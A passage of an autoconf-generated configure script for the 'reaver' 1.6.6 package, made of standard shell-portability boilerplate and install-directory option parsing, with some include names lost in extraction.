as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # Use a proper internal environment variable to ensure we don't fall # into an infinite loop, continuously re-executing ourselves. if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then _as_can_reexec=no; export _as_can_reexec; # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. # Preserve -v and -x to the replacement shell. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV case $- in # (((( *v*x* | *x*v* ) as_opts=-vx ;; *v* ) as_opts=-v ;; *x* ) as_opts=-x ;; * ) as_opts= ;; esac exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} # Admittedly, this is quite paranoid, since all the known shells bail # out after a failed `exec'. $as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 as_fn_exit 255 fi # We don't want this to propagate to other subprocesses. { _as_can_reexec=; unset _as_can_reexec;} if test "x$CONFIG_SHELL" = x; then as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi " as_required="as_fn_return () { (exit \$1); } as_fn_success () { as_fn_return 0; } as_fn_failure () { as_fn_return 1; } as_fn_ret_success () { return 0; } as_fn_ret_failure () { return 1; } exitcode=0 as_fn_success || { exitcode=1; echo as_fn_success failed.; } as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : else exitcode=1; echo positional parameters were not saved. fi test x\$exitcode = x0 || exit 1 test -x / || exit 1" as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 test \$(( 1 + 1 )) = 2 || exit 1" if (eval "$as_required") 2>/dev/null; then : as_have_required=yes else as_have_required=no fi if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR as_found=false for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. as_found=: case $as_dir in #( /*) for as_base in sh bash ksh sh5; do # Try only shells that exist, to save several forks. as_shell=$as_dir/$as_base if { test -f "$as_shell" || test -f "$as_shell.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : CONFIG_SHELL=$as_shell as_have_required=yes if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : break 2 fi fi done;; esac as_found=false done $as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : CONFIG_SHELL=$SHELL as_have_required=yes fi; } IFS=$as_save_IFS if test "x$CONFIG_SHELL" != x; then : export CONFIG_SHELL # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. # Preserve -v and -x to the replacement shell. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV case $- in # (((( *v*x* | *x*v* ) as_opts=-vx ;; *v* ) as_opts=-v ;; *x* ) as_opts=-x ;; * ) as_opts= ;; esac exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} # Admittedly, this is quite paranoid, since all the known shells bail # out after a failed `exec'. $as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2 exit 255 fi if test x$as_have_required = xno; then : $as_echo "$0: This script requires a shell more modern than all" $as_echo "$0: the shells that I found on your system." if test x${ZSH_VERSION+set} = xset ; then $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" $as_echo "$0: be upgraded to zsh 4.3.4 or later." else $as_echo "$0: Please tell bug-autoconf@gnu.org about your system, $0: including any error possibly output before this $0: message. Then install a modern shell, or manually run $0: the script under such a shell if you do have one." fi exit 1 fi fi fi SHELL=${CONFIG_SHELL-/bin/sh} export SHELL # Unset more variables known to interfere with behavior of common tools. CLICOLOR_FORCE= GREP_OPTIONS= unset CLICOLOR_FORCE GREP_OPTIONS ## --------------------- ## ## M4sh Shell Functions. ## ## --------------------- ## # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p # as_fn_executable_p FILE # ----------------------- # Test if FILE is an executable regular file. as_fn_executable_p () { test -f "$1" && test -x "$1" } # as_fn_executable_p # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" >&2 as_fn_exit $as_status } # as_fn_error if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits as_lineno_1=$LINENO as_lineno_1a=$LINENO as_lineno_2=$LINENO as_lineno_2a=$LINENO eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) sed -n ' p /[$]LINENO/= ' <$as_myself | sed ' s/[$]LINENO.*/&-/ t lineno b :lineno N :loop s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ t loop s/-\n.*// ' >$as_me.lineno && chmod +x "$as_me.lineno" || { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } # If we had to re-execute with $CONFIG_SHELL, we're ensured to have # already done that, so ensure we don't try to do so again and fall # in an infinite loop. This has already happened in practice. _as_can_reexec=no; export _as_can_reexec # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensitive to this). . "./$as_me.lineno" # Exit status is that of the last command. exit } ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -pR'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -pR' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -pR' fi else as_ln_s='cp -pR' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi as_test_x='test -x' as_executable_p=as_fn_executable_p # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` # # Initializations. # ac_default_prefix=/usr/local ac_clean_files= ac_config_libobj_dir=. LIBOBJS= cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= # Identity of this package. PACKAGE_NAME='reaver' PACKAGE_TARNAME='reaver' PACKAGE_VERSION='1.6.6' PACKAGE_STRING='reaver 1.6.6' PACKAGE_BUGREPORT='' PACKAGE_URL='' # Factoring default headers for most tests. ac_includes_default="\ #include #ifdef HAVE_SYS_TYPES_H # include #endif #ifdef HAVE_SYS_STAT_H # include #endif #ifdef STDC_HEADERS # include # include #else # ifdef HAVE_STDLIB_H # include # endif #endif #ifdef HAVE_STRING_H # if !defined STDC_HEADERS && defined HAVE_MEMORY_H # include # endif # include #endif #ifdef HAVE_STRINGS_H # include #endif #ifdef HAVE_INTTYPES_H # include #endif #ifdef HAVE_STDINT_H # include #endif #ifdef HAVE_UNISTD_H # include #endif" ac_subst_vars='LTLIBOBJS LIBOBJS target EGREP GREP CPP OBJEXT EXEEXT ac_ct_CC CPPFLAGS LDFLAGS CFLAGS CC target_alias host_alias build_alias LIBS ECHO_T ECHO_N ECHO_C DEFS mandir localedir libdir psdir pdfdir dvidir htmldir infodir docdir oldincludedir includedir localstatedir sharedstatedir sysconfdir datadir datarootdir libexecdir sbindir bindir program_transform_name prefix exec_prefix PACKAGE_URL PACKAGE_BUGREPORT PACKAGE_STRING PACKAGE_VERSION PACKAGE_TARNAME PACKAGE_NAME PATH_SEPARATOR SHELL' ac_subst_files='' ac_user_opts=' enable_option_checking enable_savetocurrent ' ac_precious_vars='build_alias host_alias target_alias CC CFLAGS LDFLAGS LIBS CPPFLAGS CPP' # Initialize some variables set by options. ac_init_help= ac_init_version=false ac_unrecognized_opts= ac_unrecognized_sep= # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. # (The list follows the same order as the GNU Coding Standards.) bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datarootdir='${prefix}/share' datadir='${datarootdir}' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' includedir='${prefix}/include' oldincludedir='/usr/include' docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' infodir='${datarootdir}/info' htmldir='${docdir}' dvidir='${docdir}' pdfdir='${docdir}' psdir='${docdir}' libdir='${exec_prefix}/lib' localedir='${datarootdir}/locale' mandir='${datarootdir}/man' ac_prev= ac_dashdash= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval $ac_prev=\$ac_option ac_prev= continue fi case $ac_option in *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; *=) ac_optarg= ;; *) ac_optarg=yes ;; esac # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_dashdash$ac_option in --) ac_dashdash=yes ;; -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=*) datadir=$ac_optarg ;; -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ | --dataroo | --dataro | --datar) ac_prev=datarootdir ;; -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) datarootdir=$ac_optarg ;; -disable-* | --disable-*) ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=no ;; -docdir | --docdir | --docdi | --doc | --do) ac_prev=docdir ;; -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) docdir=$ac_optarg ;; -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ac_prev=dvidir ;; -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) dvidir=$ac_optarg ;; -enable-* | --enable-*) ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=\$ac_optarg ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ac_prev=htmldir ;; -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ | --ht=*) htmldir=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localedir | --localedir | --localedi | --localed | --locale) ac_prev=localedir ;; -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) localedir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst | --locals) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ac_prev=pdfdir ;; -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) pdfdir=$ac_optarg ;; -psdir | --psdir | --psdi | --psd | --ps) ac_prev=psdir ;; -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) psdir=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=\$ac_optarg ;; -without-* | --without-*) ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=no ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) as_fn_error $? "unrecognized option: \`$ac_option' Try \`$0 --help' for more information" ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. case $ac_envvar in #( '' | [0-9]* | *[!_$as_cr_alnum]* ) as_fn_error $? "invalid variable name: \`$ac_envvar'" ;; esac eval $ac_envvar=\$ac_optarg export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` as_fn_error $? "missing argument to $ac_option" fi if test -n "$ac_unrecognized_opts"; then case $enable_option_checking in no) ;; fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; esac fi # Check all directory arguments for consistency. for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ datadir sysconfdir sharedstatedir localstatedir includedir \ oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ libdir localedir mandir do eval ac_val=\$$ac_var # Remove trailing slashes. case $ac_val in */ ) ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` eval $ac_var=\$ac_val;; esac # Be sure to have absolute directory names. case $ac_val in [\\/$]* | ?:[\\/]* ) continue;; NONE | '' ) case $ac_var in *prefix ) continue;; esac;; esac as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null ac_pwd=`pwd` && test -n "$ac_pwd" && ac_ls_di=`ls -di .` && 